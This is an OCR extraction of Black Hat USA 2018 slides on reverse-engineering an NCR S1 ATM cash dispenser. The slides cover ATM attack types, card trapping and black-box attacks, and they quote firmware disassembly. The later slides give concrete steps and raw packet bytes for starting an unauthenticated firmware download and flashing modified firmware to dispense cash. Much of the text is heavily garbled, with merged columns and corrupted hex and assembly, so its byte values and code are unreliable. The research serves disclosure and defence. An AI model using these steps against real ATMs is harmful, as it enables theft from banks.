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Who are we?

Vladimir Kononovich:

* Reverse-engineering: my hobby and my job
* An active romhacking community member

(Sega Genesis/Mega Drive)
* Reverse-engineering since 2008
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Who are we?

Aleksey Stennikov:
* Hardware expert
* |CS/SCADA security researcher
* ATM researcher
* Some skills of RE

s
cusl)
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ATMs —is restricted area! (Not really)

* Simple human cannot just get access
to the ATM hardware

* |[n most cases there are no docs, SDKs,
programming examples, firmware binaries, etc.

So the usual ATM vendor’s idea is...

Security through obscurity!

Hide and encrypt everything... so it should be safe (they hope)
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Inside ATM
= Cabinet
e PC * Printer(s)
* Monitor * UPS unit
* Encrypting Pin Pad e Others
(EPP)
= Safe

Cash Dispenser

The most interesting is the dispenser.
Money are here!
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Data flow
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ATM threats:

- Fraud

- Brute-force

- Malware

- Hardware
attacks
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About an ATM security

Logical
attack
Brute-force
attack
skimming

Source: M. H. de Bijl: Using Data Analysis to Enhance Attack Trees, 2017

(O Attack node

m Disjunctive refinement

Malware-
based attack

Blackbox
attack

Installed
at ATM
PC




black hat

USA 2018

Widely used

Trivial techniques
Is not complex
Detection is simple

Fraud-based attacks

() Attack node

m Disjunctive refinement

-

\_

Card
skimming

Fraud-based
attack
Card
trapping

Transaction
reversal

J

Lebanese Loop Card Trap

Side View

Front View Entry Flap Fixed at top
= 3
T~ Loop fixed to top and
vottom of entry flap
Back View

Entry Flap

|
Doublesided
Sticky Tape

Loop made from
VHS video cassette tape

Not To Scale

Card Insertion

# -—=)>
\ 8
Bank Card Card forces entry flap up

1 Card Inserted
r v ]

Card blocked by loop and entry flap

Not To Scale

Physical
attack

Explosive

Brute-force
attack

& Gas

Malware-
based attack

Installed
at ATM

Installed
at ATM
network

Logical
attack

#BHUSBA

Blackbox
attack
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Brute-force attacks

¢ Widely used O Attack node

m Disjunctive refinement

* Primitive

* Efficiency depends on the bank security e TS
services e
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Malware-based attacks

* Widely used o
* One of most popular ATM attack
e XFS layer used

Brute-force
attack

Malware-
based attack

Blackbox
attack

* Complicated infectioning ways are
needed in most cases N )

NEW YEAR — NEW MALWARE

o Re: NCR SST Toolkit & Utilities

7o » 06 mon 2016, 03117 Skimer.A - 2008
hola a todos en este foro, buenisima pagina que he encontrado, gracias a todos por colaborar en d
pagina, me ha servido de mucho soy nuevo usuario, y pues ya que la tengo estare mas pendiente g

WINCOR ntro G e lries Backdoor.Ploutus — 2013-2014
e W Wa have softwars forjackpottng sl models of o s . Backdoor.Padpin — 2014
Re: NCR SST Toolkit & Utilities

NIXDORF il Nacail Malwaro = 2014
-

\ 3 How it works . Backdoor.Tyupkin — 2014
o

oY . o no habla espagnol. Donde estas? Trojan.Skimmer (new) — 2015

ATM};ELOO[

Hau. o7aena
Habla inglese?

Coobuerma: 2455

Sapercipuposan:

Trojan.GreenDispenser — 2015

he ATM. Wi wi not be praviding the software without registration. Don't confuse my personality with my attitude. My personality is who Iam. My attitude depends on whd

P 5] o
HO-tIO-HOI e Re: NCR SST Toolkit & Utilities
LET'S MAKE SOME X B Aracnido » 10 won 2016, 22:10
CUTLETS SapenucTpmposan:
TODAY! 2016, 23:44

5

wenns 3a: [ Bce coobuiennd = ]

e copriposin | Bpens pasnewermd v | [ no sospactanmd | [Mepedim




black hat

USA 2018

() Attack node

m Disjunctive refinement

Physical
attack
Brute-force
attack

Logical
attack

Fraud-based Malware- Blackbox
attack based attack attack

Installed Installed

Jard Card sacti g
ski(n?riiiug LrS:pring Ti:::;?;‘llml Engzge at ATM at ATM
g PC network
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Black Box attacks are...

* Type of logical attacks (along with XFS
attacks and proc-center emulation) using
H/W devices to connect directly to
dispenser for cash withdrawal

 Leave no traces, logs, etc. in most cases

* Requires ATM’s internals an hardware
knowledge

* Doesn’t depend on OS, Processing Center
and application control software

Source: https://answerpro.ru/services/hardware-development/cerber-ndc-lock/en/#services



https://answerpro.ru/services/hardware-development/cerber-ndc-lock/en/#services
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Hardware interconnections

Connection types:
* RS-232

* SDC

* USB

* CAN(?)
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e ... aka COM-port aka DB9 aka V.24/V.28

* First and most simple ATM hardware
communication interface

* In ATM it used mostly with MUX due to
the small number of ports in the PC

* |s obsolete

» Attacker device is simple laptop and
cheap USB-com converter
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Hardware interconnections: RS-232

* Mostly unencrypted

 Some vendors tries to issue patches with
communication encryption but they are
imited by resources of old hardware

* In some cases protocol is ASCll-based,
numan-readable and looks like:
“DGTM-01-02\n" that is abbreviation of
DispenserGimmeTheMoney from 1-st
cassette 2 notes

* |s primitive and not interesting for us
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Hardware interconnections: SDC

* ... aka RS-485 aka multidrop COM-Port :r:l

* Unusual baudrate is used AEAlE :—“F__J———

* Rare size of byte o i

* Encryption is... XOR [T |2 e e

* Firmware is updatable...
by ROM-Chip replacement

 All devices stays in the same network
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It’s called “Drilled Box”

We are able to drill front of cabinet next to " e
EPP and can find SDC-Bus wires

Why it works?
SDC connection looks like:
PC<->EPP<->0OtherDevices<->Dispenser

ATM uses special communication board

Source: http://rus.delfi.ee/daily/criminal/foto-v-tallinne-i-haryumaa-prestupniki-pytalis-poluchit-nalichnye-iz-bankomatov?id=76460919



http://rus.delfi.ee/daily/criminal/foto-v-tallinne-i-haryumaa-prestupniki-pytalis-poluchit-nalichnye-iz-bankomatov?id=76460919#!dgs=dgsee-187244:A_sbxYtx4_b9-2S4N7ZEO-
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Hardware interconnections: USB

* More complex for research:
descriptors, endpoints, their types,
composite devices, etc.

* H/W sniffers are expensive

* Obsolete dispenser with primitive
protocols are still here, but all modern
devices have strong encryption

* Usually it’s HID/composite device
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Hardware interconnections: USB

Positive Technologies Research Team findings

time() -> 0
srand( time() )
rand() -> Pre-known initial session keys

Decrypted packets
Known encryption algo and session keys
Withdrawn money

PROFIT!

N WN R
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Hardware interconnections: USB

What to do if packets are encrypted

2017 year dirty trick to bypass maintenance auth: [

* Broke shutter
* Put endoscope camera into this hole

* Touch auth sensor as service-man does it with i
opened safe door, run “withdrawal test” »

* Take money and runaway =)

Source: https://krebsonsecurity.com/2018/01/first-jackpotting-attacks-hit-u-s-atms/



https://krebsonsecurity.com/2018/01/first-jackpotting-attacks-hit-u-s-atms/
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Vendor selection - NCR

* One of biggest vendor
for financial solutions

* Frequently-seen on the projects

* Encrypted hardware
communications

So... NCR S1 Dispenser

y(,ﬁ) Financial Services Solutic X

€ C' 8 3awmweno | https:;//www.ncr.com/financial-s

S e Q] : ﬂ
ok y Yoy
=

' aTM Self gervice Area

Cash Withdrawal ® Cash & Check deposit

NCR knows that financial institutions and other players in the financial ecosystem have to evolve, adapt Contact our sales team
and transform to meet increasing consumer expectations, the disruptive impact of technology and burden

of regulatory oversight. LET'S CONNECT

Today's consumers define convenience on their own terms, deciding when, where and how they bank and
pay. In the omni-channel world, they expect you know them, help them and advise them using relevant
data to tailor services to meet their unique needs while enabling the modern, connected retail banking
experiences they demand.

Our Consumer Experience (CxBanking) framework stands at the intersection of what consumers want and
businesses need, whether you are a financial institution, an IAD, a processor, an ISO or a merchant
acquirer. If you're accountable to deliver growth, lower costs, manage risk and differentiate the customer

experience, our CxBanking hardware, software and services capabilities ensure that NCR is your strategic

transformation partner.
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What is a dispenser?

Dispenser is a very complex device.
It consists of:
* A lot of mechanisms
* A lot of sensors and drive units
e Control electronics
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Dispenser mechanics

Most of dispensers consist of following
components:

» Cassettes + Reject/purge bin
* Pick modules

* Presenter

* Pneumatics
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Dispenser controller: Description

Dispenser controller functions:

* To co-ordinate operation of the currency — EiNN
dispenser transport hardware

* To process instructions from and provide = [Mus,
responses to the ATM core electronics

o
HBEEEERE

BEEZEEEER

* To provide a power and logic interface to
the associated pick modules

w 10000

o £ BRE
; s (00000000000 0000
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First questions

1. Where can you get the dispenser’s
firmware binary
if you are not a service-man?

Where can you get
the dispenser’s main board
if you don’t work in a bank?

Answers are simple:

All Listings

File Edit ‘iew Favorites Tools  Help

QBack - s 'ﬂh /.._

) Search

Folders E -

Address |..:| CiWProgram Files\NCR APTRAWISECUrrencyDispenseriDispL

File and Folder Tasks

7 Make anew folder
& Fublish this folder to the
Web

Other Places

|5 USECurrencyDispenser
(£} My Documents
| Shared Documents
4 My Computer
\3 Iy Netwark Places

Details
Displ
File Folder

Date Modified: Thursday, March
31, 2016, 12:16

3

WM | szt

WA ot

»

WA | zon

data
File
1KE

MerDispl . dil
USECurrencyDispenser
S1A00419.dl

1.0.0.1

USE Dispenser On-screen med
S1A10419.d1

1.0.0.1

USE Dispenser On-screen med

uldspfwc.dl

3results O Save this search

Buy It Now

8. See more like this

)

USECurrencyDispenser

% NCR 445-0630805 PCB Dispenser Control Power Board NEW

Sort | Best l

Guarantg

Brand New

$199.99
or Best Offer
+$20.00 shipping

See more like this

NCR 445-0706150 ATM Currency Dispenser Control Board

New (Other)
$249.99
)ffer

or Be

+$26

shipping

NCR 2005 445-0689253 ATM Dispenser Control Power Circuit Board

Pre-Owned

$89.99
or Best Offer

+§17.00 shipping

uldsprrd.dll

USECurrencyDispenser

urnitdisp.bin
EIN File
1,534 KE

USBECurrencyDispenser

1. “C:\Program Files\NCR APTRA\USBCurrencyDispenser\Disp1” (or Disp2)

2. Ebay, or some service-guy (your friend) from some bank
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Firmware binary “umitdisp.bin”

* It is not even encrypted!

¢ ELF_flle ; Format : ELF for Motorocla 6888@ (Executable) |
; Imagebase 1 leas
L] Ld i
* NXP Coldfire (Motorola 68k family) )
3 Processor : ColdFire
; Target assembler: 688x8 Assembler in MRI compatible mode
L OS: waorks V5.5.1 ; Thiz file should be compiled with ™as -M"
* The most interesting sections are: .text and .data
* No symbols are stripped
> - n S\ 2\ O\ plored External symbal
‘ i 3 ; ‘ ‘ IDA View-A %] Program Segmentaon B[O Hex View-1 [&] Structures ]
""" Name Start End R W X D L Align Base  Type  Class AD  ds
EE‘ .data 00001000 0002CB40 R W L gword 0005 public DATA 32 0005
o 7Y EE bss 0002CB40 00030BE4 R W . L qword 0006 public BSS 32 0005
S s, 2] ted | FFC20008 FFCEETFC ROW X L qwerd 0004  public CODE 32 0005
';’ % 2] prgend FFCEETFC FFCEETFD ? 1 2 L byte 0007  public 32 0007
“““““““ Pl A @] abs FFCEESDD FFCEES58 I L dword 0008  public 32 0008
EE‘ extern FFCEES53 FFCEEBED PooroT L dword 0009 public 32 0009
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Beginning...

. . gy ) 12.3.1 USB Memory Map
1 ) T h e DISp enser - ( I n O u r Ca S e ) I t S a U S B The operation of the USB is controlled by writing control bytes into the appropriate registers. Table 12-2
. is a memory map for USB registers. All of the registers are longword aligned even though they are not all
d eVI Ce 32 bits wide.
Table 12-2. USB Memory Map
. Offset [31:24] [23:16] [15:8] [7:0]
2) Look for some USB receive/send data = T e b g
° 0x1004 Reserved USB Frame Number Match Register (FNMR)
t h re a d t h a t WO r kS W I t h CO m m a n d S | ox1008 Reserved USB Real-time Frame Monitor Register (RFMR)
0x100C Reserved USB Real-time Frame Monitor Match Register (RFMMR)
f O S f 0x1010 Reserved USB Function Address
rom an sortware part Rogistr (AR
0x1014 USB Alternate Setting Register (ASR)
[ [ 0x1018 USB Device Request Datal Register (DRR1)
3) Dive into datasheets for some constants U5t e et 9
. 0x1020 Reserved USB Specification Number Register (SPECR)
( C P U I S m Cfsz 72 m O d e I ) 0x1024 Reserved USB Endpoint 0 Status Register (EPOSR)
0x1028 USB Endpoint 0 IN Config Register (IEPOCFG)
. o 0x102C USB Endpoint 0 OUT Config Register (OEPOCFG)
4) F I n d t h e S e CO n Sta nts I n t h e CO d e . 0x1030 USB Endpoint 1 Configuration Register (EP1CFG)
0x1034 USB Endpoint 2 Configuration Register (EP2CFG)
0x1038 USB Endpoint 3 Configuration Register (EP3CFG)
0x103C USB Endpoint 4 Configuration Register (EP4CFG)
[ 0x1040 USB Endpoint 5 Configuration Register (EP5CFG)
0x1044 USB Endpoint 6 Configuration Register (EP6CFG)
0x1048 USB Endpoint 7 Configuration Register (EP7CFG)
I| 0x104C USB Endpoint 0 Gontrol Register (EPOGTL) |
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Beginning...

Some of search results (WritePacket, ReadPacket):

text:FRFCEF3E0 é_WritEP'acl:et_[l?-_"JUnh.fersalﬁﬁTUSE'l ECeldfireEndpointFUi mowve.l $104C(al),d0
text:FFCEF38A _WritePacket_ Q3 _9Unrversal3RTUSB16CeldfireEndpointFUi move.l d0 5104C(a1)
text:FFCEFC2A _ReadPacket_ Q3 SUniversal3RTUSB16ColdfireEndpointFUi movwve.l $104C(a5) d0
fext:FRCEFC34 _ReadPacket_ G3_9Universal3RTUSB16ColdfireEndpointFU move.l d0,5104C(a5)
fext:FRCT0074 _WritePacket_ 03 9Universal3RTUSEZ23ColdfireControlEndpeointFLU move.l $104C(ad), d0
Jext:FRCTO0TE _WritePacket_ 3 %Universal3RTUSEZ3ColdfireControlEndpeointFLUi movwve.l d0 5104C(ad)

After that our journey was successfully started!
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Some words about Motorola (dis)assembler

* There are no public decompilers

e C++ vtables and virtual calls
in Motorola!

* Opcode operands order is SRC, DST

okl e

loc_FFC3ACTE:

clr.w  B(as)
clr.w  2(a%)
clr.l  4(as)

movea.l arg_@({ab),a5

il e =

ch_FFCBAC?S:

movea.l arg_@(ak),as
clr.w
clr.w
clr.1

Cygnus::CommandPrimitives: :CommsBuffer(as)
Cygnus::CommandPrimitives: :CommsBuffer.capacity(as)
Cygnus: :CommandPrimitives: :CommsBuffer.buffer(as)

text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

FFCGFBD®
FFCeFBDE
FFCEFBDB
FFCGFBD®
FFCeFBDE
FFCEFBDB
FFCGFBD®
FFCeFBDE
FFCGFBD@
FFCEFBDB
FFCEFBD®
FFCEFBD4
FFCGFEDS
FFCGFEBDC
FFCGFBE®
FFCGFBE4
FFCGFBEG
FFCGFBES
FFCEFBEC
FFCGFBF@
FFCEFBF2
FFCGFBF4
FFCGFEBFE
FFCBFBFS8
FFCGFBFA
FFCEFBFC
FFCGFBFE
FFCeFCle
FFCEFCE2
FFCGFCE4
FFCEFCBE
FFCEFCEs
FFCEFCBA
FFCeFC1e
FFCAFC1E
FFCEFCLA
FFCBFC28
FFCBFC24
FFCEFC28
FFCGFC2C
FFCBFC32
FFCEFC36
FFCGFC3C
FFCEFC42
FFCEFC44
FFCGFC46

P T

1E56
AFEF
4807
2868
2628
7C08
7200
3220
3C20
2606
D@37
B286
644E
7806
2F08
7605
2Fe8

2F@R
2F@1
2F87
2FB6
4879
4EB9
AFEF
2879
2020
4BF0
202D
88BC
2848
2F39
4EB9
588F
601E

eaal
FFCD
ealc
eaaz
Be2C
eCoe
1e4C
cjclac)
1@4C
eaa2
FFCE

()
7JELC

FDB84

Baal

FDE8
5D7e

; Universal::RTUSBE::ColdfireEndpoint: :ReadPacket((unsigned int))
global _ReadPacket_ Q3_9UniversalSRTUSBl6ColdfireEndpeintFUi
_ReadPacket_ Q3 9UniversalSRTUSBl6ColdfireEndpointFUi:

var_C = -5C
re @ = 8
4 = &C

link
lea
movem. 1
movea. 1
move.l
moveq
moveq
move.w
move .w
move.l
add. 1
cmp. 1
bce.s
moveq
move.l
moveq
move. 1
moveq
move.l
move.l
move.l
move.l
pea

jsr

lea
movea. 1
move. 1
lea
move.l
or.l
move.l
move.l
jsr
addg.l
bra.s

; CODE

a6, %0
-3C(sp).sp
de-d7/as, (sp)
arg_@(a6),as
arg_4(a6),d7
#6,d6

#0,d1
$54(a5),d1
24C(as5),d6
dé,de

d7,de

die,d1
loc_FFCGFC46
#6,d8
de,-(sp)
#5,de
de,-(sp)
#4,de
de,-(sp)
d1,-(sp)
d7,-(sp)

dé, -(sp)
(aErrorWithPacke).l ;
_logMsg
$1C(sp),sp

(_imm__Q2_9UniversalSRTUSB).1,a@ ; Universal::RTUSE::imm(v

$2C(as),de
(a@,de.1*4),a5

(a5),de
#1,de
de, (as5)
(_theDevice_ Q3_9UniversalSRTUSBl6ColdfireEndpoint).l,-(sp)
_FlushRxFIFOs_ Q3_9UniversalSRTUSB11lUsbColdfireFv ; Univ
#4,sp

loc_FFCGEFCE4

XREF:

Universal::RTUSB: :ColdfireE
3 Universal::RTUSB::ColdfireEndpoint::ReceivePacket|

with packet sizes, msgGone

ndpoint::Re

i,

ersal::
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General execution scheme

/ {(service commands distributionj \

S

Servicel Service2
(Ex.: DispTranService) (Ex.: securityService)

(Ex.: 0x01) (Ex.: 0x02) (Ex.: 0x01) (Ex.: 0x02)
— ~ ~—

Controllerl
(Ex.: StackController) [ ]
Controller2
(Ex.: PresentBillsController)

Servl.Classl J[ Servl.Class2 J [ Serv2.Classl ][ Serv2.Class2
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Some info about execution scheme

Every service:

 |dentifiable by: own index
* Main function: “::CmdLoop()”
* Has name. For ex.: “DispTranService”

Every class:

« |dentifiable by: own index
« Has no name

Every controller:

- Identifiable by: own index
- Main function: “::execute()”, also “::validateCommand()”, “::formatResponse()”
- Has name. For ex.: “PresentBillsController”




blgc’:k hat

USA 2018

Dispenser Transaction Service

; woid noreturn DispTranService::CmdLoop(int this)
global DispTranService::CmdLoop((void))
DispTranService: :CmdLoop((void)):

var_ld= -314

(DispTranService — the most interesting service) i

link a6, #6

lea -%14(sp),sp
movem.l d6-d7/a3-as, (sp)
movea.l this(ag),as
moveq  #8,d7

jsr wdCreate

« Class 0x01: secure-messages

move.l a4, (_transmitTimer).l

« Class 0x04: encrypted secure messages — vy

loc_FFC3CB2@:

movea.l DispTranService.vtbl(aS),a®

lea DispTranService::VTable.vtbl.Receive(a®),a3
movea.l VMethod.func(a3),ad

moveq  #-1,de

move.l d@,-(sp)

Some commands are more secure than others!© e e
S,

(a@) ; Receive

$C(sp).sp
ve.l de,ds

First class works with the same messages as the cei

5 loc_FFC3CB28

second one, but filters some “more secure” commands -

addg.l #1,d7

like “StackController”, “PresentBillsController” e

bsr.w  DispTranService::processCommand((Cygnus::CommandPrimitives::CommsBuffer &))
addqg.l #8,sp

bra.s  loc_FFC3CB28@

; End of function DispTranservice

::CmdLoop( (void))
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Security Service

(securityService — generates keys for the encrypted security messages)

« Class 0x01: initial keys exchange process

1) To exchange encryption keys between the PC and the
dispenser PC sends “AuthDispCommsController” message 0x0010 05 00 00 0o[o0 1aJo1 oofoz]oo 60 60 60 00 00 00 -

Details
Offset 01 2 3 4 5 6 7 8 9 A B C D E F ASCI
OxQ00O0 O©O1 BF S0 01 00 02 BT O7 EF BE 01 Q0 00 Q00 Q0 00 ----------------

0x0020 00 00 QO QOO0 OO0 OO0 00 OO0 00 00 00 00 00 00 00 00  --------mm-mmmes
0x0030 00 00 Q0 OO0 00 00 00 OO0 00 00 00 00 00 00 00 -

2) Then you must toggle a bottom cassette in the safe
to allow key exchange

3) Send “HandlelnitiateKeyExchange” command to receive the
encryption key
(at the picture: first block of whole packet)

Then all encrypted messages must be encoded with the
key received in answer and the rolling part of that key

Detais

Offset 0 1 2 3 4 5 6 7T 8 9 A B C D E F AsCl

ox0000 [0e]oo 53 0o oofos]es 07 EF BE e; 00 72 00 +S---------a-r-
0x0010 oE 00 53 [ 36 4¢ <= [l 41 =2 30 30 34 37 - ¥ IF i
0x0020 EC F4 16 00 04 €4 03 02 01 00 01 AB 97 57 06 23 -----d---- - -W-#
0x0030 87 41 E5 F5 77 37 BE A5 55 A% 18 Al 19 E8 F9 F1  -A--w7--U-------
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But what can we do
without a physical access to the safe?

Sometimes it is not needed. It depends on the Protection level:
0 — USB (Software development)
1 — Logical (There is no difference between 0?)
2 — Physical (Requires physical access)

1. There must be some way which OS uses to update the S
dispenser firmware! Om

2. Who verifies a downloadable binary, applies it O
permanently etc.?

We must find the “bootloader” part!
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UsbDownloadService

(Firmware downloading initialization)

e Class 0x01: Initiate download
* Class 0x02: Identify device

|
Command is not secured HE"O, Bootloader!

and not encrypted!

Raw Data

TO |n|t|a||ze f”'mwa re download you (B o0 o0 00 00 05 AC 00 EF BE 02 00 00 00 00 00

Q0 00 00 00 00 00 00 Q0 Q00 00 00 00 43 00 00 00

must jUSt Send a paCkEt Ilke thiS: 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00

o0 00 Q0 00 00 00 00 Q00 00 Q0 00 00 00 Q0 00
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ll ” pea usbh_secure_bootloader_ver(a6)
jsr _strdup
addg.l #4,sp
move.l d@,(g_usb_info_table.product_string).l
pea var_68(a6)
® I H M I M “ ” M jsr _strdup
Zlib-compressed code is located in “.data” section 1
move.l de,(g_usb_info_table.usb_serial_num).l
Y N O Sym bo I S .data: 0800407 aVxworks_@:dc.b "Vxlorks',®
12_25555_;-: 3551‘:ig;b512'5'1 2 bsr.w  create_tloadRoll
. .data:00004100 aViworkssS1 B:dc.b 'Vidorkss.s.1',0 move.l a5,usb_descr(as)
[ J I m a ge ba Se IS 0X1 00000 .data: 00004160 align 310 isr ush_get_descriptor_size
_data: I move.l d@,usb_descr+4(a6)
.data: dc.b $78,39C, 404,338, 57F, 360,513,857, 504, 5CF, $8E, 563, $BB, 534,990,560, 482,  5,%1F,375 pea usb_descr(a6)
Y IS not Secu re ' .data: dc.b %61,314,502,96¢,594,335, 576,534,565, 558, 568, 300, 404, 544, $34, 575, $AC, $5C, %06, 318 jsr usb_connect
° .data: dc.b  8,38D,%54,3AF, 814,367, 540,533, 554, 304, 5CE, 546, $74, 595, 386, 522, §3A, 5EE, 942,392 addg.l #4,sp
.data: dc.b $F6,338,50C,56C,$71,3A8, $88, $40, 574, 548, $EA, 515, $84, 518, 9CD, 571, $68, D5, $AE, 522
.data: dc.b %30,394,%63,951,%85, 344,570, 550,560, 356, 500, 5A8, $4D, 5E9, $AF, 568, $48, 521,987, 342 J ¥
.data:0 dc.b $77,309,%12,332,5F7,57D, 50F, 598, 5F1, 36C, $31, 386, %82, 347, 476, 5E7, §88, §DE, 473, 3F7
.data:0 dc.b $BE,35F,%EF, 378, 8DF,3BC, 577, 56D, 5EF, 6D, 519,304, $36, 531, §16, 580, $30, §7F, 494, 381
[ ] O n e W ro n Ste — .data: dc.b $C1,%CE,$5C,308,$63,56D, 5CF, $B5,5FD, 544, S0,578,560,3EF,$80,524,5F5, 360,548, 5AB
g p .data: de.b 37D,317,%18,38E,57C, 519, 566, §F9, 370, 358, 37F, §1C, $C2, 574, §FA, 550, 342, 5CF, 3C5, 312 loc_187214:
.data: de.b $CF,383,5EA,5FD, 556,542, 368,550, 55, 8DF, §0F, 541,578, 5AD, §D, 548,538, $A5, 3FC, 3E8 tst.1 (g _not_wait_for_other_packets).l
. .data: de.b $12,$93, 8,538,%8C,508,35C,517,5C7,346,572,588, 508, 385, $9¢,$38,95F , 585,578, $08 bne.s  loc_187228
t h e d |S pe n Se r .data: dc.b $CB,354,%0D,368,956, 6,596, 7,%B7,33C,%8D,357,%AD,514, 474,532, 9F3,527, 464, 36D
.data: dc.b %1D,318,%7F, 364,591,577, 50F, 5D, 57C, 39, $E8, 363, $2E, 520, $28, 568, §F 0, 50, 524, 327
. - .data:p dc.b 5C7,358,%F5,3F 1,599,391, 571,556,530, 348, 546, 309, 494, 351,315, 569,527, 66,481, 6
Wl II be bfleed | .data:0 dc.b $£3,354,%01, 7,%E9,3CD,%4D,8F8, 511,577, 4DF, 567 , 438, 561, $AF 544, §1F , $6E, 483, 54 -
H .data: dc.b %5A,38C, 524,500, %8C,5C5,59C, 562,579, 3A2,533,  7,%5A,57D, %89, 5BE,§82, 569, %44, 57D bsr.w  usb_wait_for_packets
.data: de.b 3FF,355,%AF, 388, 578, 54C, 542, §EF, 378, 12, 940,392, 568, 30,3F2,570,305, 7,363, %A loc_187226: bsr.w  ush_execute_command
.data: de.b 392,345,508, 58C, 969,548, §F,83C,557,581,5DE,543,504,528, 578,552,589, $A6, 3FD, (8 clr.1  -(sp) bra.s  loc_167214
.data: dc.b %EB,39E,%42,310,5D5,5AF, 544,558,567, §C,5E1,3C0,408,504,593,514,540, $4E, 549, 360 jsr _sysLedPortlirite
. .data: dc.b $14,375,53F,3A8, 1,385, 1,344, 0,3A5,%47,307,%80,%E6, 3A,5CD,320,578,%36,311 addg.1l #4,sp
Y Wlt h O ut a CO rre Ct .data: dc.b $F3,34F,507,367,583,364, 550, §F,563, 7,%A2,33E,5E2,307,540,5EE,548,5F4,518,5F4 tst.l  (g_do_reboot).l
.data:0 dc.b %44,374,%F7,5A8, 58F, 513,570, 6,585, 525, $EA, 5A3, $3E, 568, $38, 573, $60, 569, 509, 371 beq.s loc_18724A
.data:0 de.b $A4,315,%39,392,543,399, 507,516,543, 33€, $3F, 544, $A3, 3D, $25, 548, §78, $93, $DB, 3C6
.data: de.b %ED,39C,5C5,9FE, 579, 3EF, 589, $BE, 538,375, 5A0, 374, §F0, 550,971,558, 574,953,948, 5
N V RA M -d u m p befo re .data: de.b $5€, 525,594,562, 362,57C, 378,598, 5CA, $8C, 34D, $1C, $CB, $7D, $39, $DC, 57, $9F , 534, $EA
—_— = .data: dc.b $£2,3CF,5CA,381,571,358,518,5FC, 570,832, $F,308,%72,558,9E7,53F, 975,511, 45E, 384
.data: dc.b %EF,36C,%03,9FE, 566, 3FF, 500, $6F , 580, 524,571,577, 451, 54D, $82, 574,517,579, %66, 318
H d M .data: dc.b %€7,301,%10,39F, 83,345, 581,548,504, 3F8, 4DC, 331,497, 548, 355, 530, 308, 566, $AC, 379 jsr _taskDelay loc_1@724A:
a ny trl eS yo u r |S pe n Se r .data: dc.b $EE,387,%4C,38¢ 989,318, 560, §FF , $5E, 369,435, 3AC, 430,550, 9CA, 523,  3,%F@,4DC, 366 addg.l #4,sp pea (3E).w
.data:0 dc.b %A2,331,5C6, 388, 55F, 362,523, 58,549, 3AC, 595, 368, $5D, 568, $£3, 580, §94, $EE, 909, 323 jsr _sysHardReset| | |5 sysLedPortirite
° ° .data:0 dc.b 85C,344,%56,389,531,317,552, 50D, 534, 348, $8C, 548, %61, 575, 99E, 566, $80, 50D, %61, 348
Wl II be b rlcked l .data:0 dc.b $45,382,%6D,3CF, 509,351, 556,571, 568,56, 5C,362,9FC,52E,490,501,530, 548,515,360 bra.s loc_10724A
. .data: dc.b %8F, @,%97,308,%70,385,530, 5AF, 548, 364, $E0, 566, $3C, 58E, 98D, 506, $4A, 73,993, 381 ; End of function tBoot_funcMain
000D5F55 00004111: .data:00004111 ]
B
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S1(S2) “Secure” Bootloader

and.l # ,d7
moveq  #8,d1
move.b read_fifo buf_boot_init.field 14+1(a5),dl

(Steps to download your “fixed” firmware) o n

pea (NVRAM_1815).w
and.l # ,d7

1. Reboot into bootloader el ) e

addg.l #8,sp

2. Generate RSA keys pair and send public key o (s st e

pea (514).w

. pea read_fifo_buf_boot_init.usb_serial_number(a5)
3. Reboot the device for  cysturamirite ; (what, comnt, whare)
lea $C(sp),sp
Raw Data moveq  #@,dé
move.w read fifo_buf_boot_init.usb_release_version(aS),d6
(AN 00 00 00 00 05 AC 00 EF BE 02 00 00 Q0 00 00 (. . ... [ T, : : lsr.1  #8,d6
[] : H : Going into il s
00 00 99 00 00 00 00 00 00 00 00 00 43 00 00 00 ... ... c... moveq  #@,d1
OO0 00 OO 00 90 90 00 90 00 90 90 00 90 900 90 00 | .. oL oL . bootloader Tz;eib ;Zagififo_buf_boot_init.usb_r‘elease_versionﬂ(aS),dl
o0 00 00 00 00 00 00 90 90 00 00 00 00 00 00 [ ... ..o or.1l di,d6
pea (USB_RELEASE_VER).w
and. 1l # ,d6
move.l d6,-(sp)
jsr _sysNvramWritels
Raw Data addq.l #8,sp
BB} 00 00 00 00 00 =D 00 EF B2 05 00 00 00 00 00 |- ... i.1%......
00 0009 00 1s 19 _ """ Only the flrst IOCk move.w read_fifo_buf boot_init.field_2C(a5),ds
24 20 20 N o0 00 00 00 00 00 2€ 12 BE BA [ 400l . .. .. &N 1sr.1  #8,d5
. . d.l  #5FF,dS
0lL OO0 O1L CA 28 7C 1IF 3D OC BF E4 E5 13 1D 7D DB | ...Ell.=.8a..}6 xvm #0,d1

move.b read fifo_buf boot_init.field 2C+1(a5),dl
1s1.1  #8,d1

or.l di,ds
Raw Data pea (NVRAM_1526) .w
.:|-:| Q0 00 00 00 87 00 EF BE 06 00 00 00 00 00 I ______ in. and.l # ,ds

move.l dS,-(sp)
OO0 00 00 00 00 00 00 90 90 90 90 90 99 00 90 90| ... ... - Hard resetter jsr _syshvramiritel6

addg.l #3,sp
o0 00 00 00 00 00 90 90 90 00 00 00 00 00 00 90 | - ...

o0 00 00 Q00 00 00 00 90 00 00 00 00 00 00 20 | ... I! . !
bsr.w  store_rsa_public_key_to_nvram
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S 1 Sz IIS ” moveq  #8,address
ecure OO Oa e r move.b read_fifo_buf_flash_write.address+3(a5),address
moveq  #3%13,d1

1=s1.1 dl,address

move.l read_fifoc_buf_flash_write.address(a5),dl

(Steps to download your “fixed” firmware) m R,

moveq  #16,de

4. Send sequentially “.data” and “.text” ELF-sections using their [z s s s,

1zr.1 dl,de

physical addresses as the destination in packet fields (#0.3.0) [ .

or.l d@,address

move.l read_fifo_buf_flash_write.address(a5),de
moveq  #24,d1

1sr.1 dl,de

Only the first block and.1  #5°7,d0
or.l de,address
Overview ELF Header SHeaders PHeaders Symbols
Raw Data Program Headers moveq  #8,size
- - - - . move.b read fifc buf flash_write.size+3(aS),size
':":' 00 00 00 00 0F 00 EF BE 02 00 00 00 00 00 I ----- - e R Type Offset  Virtual Address| Physical Address | File § [moveq  #313,d1
a0 a0 00 00 08 00 C2 FF E2 OF 00 OO0 €0 00 00 1€ | ... ... ERypa. ¢ . ; iz
e e - ¥2 OxFFc20008 | Oxffc20008 gearf L=t L dl.size —

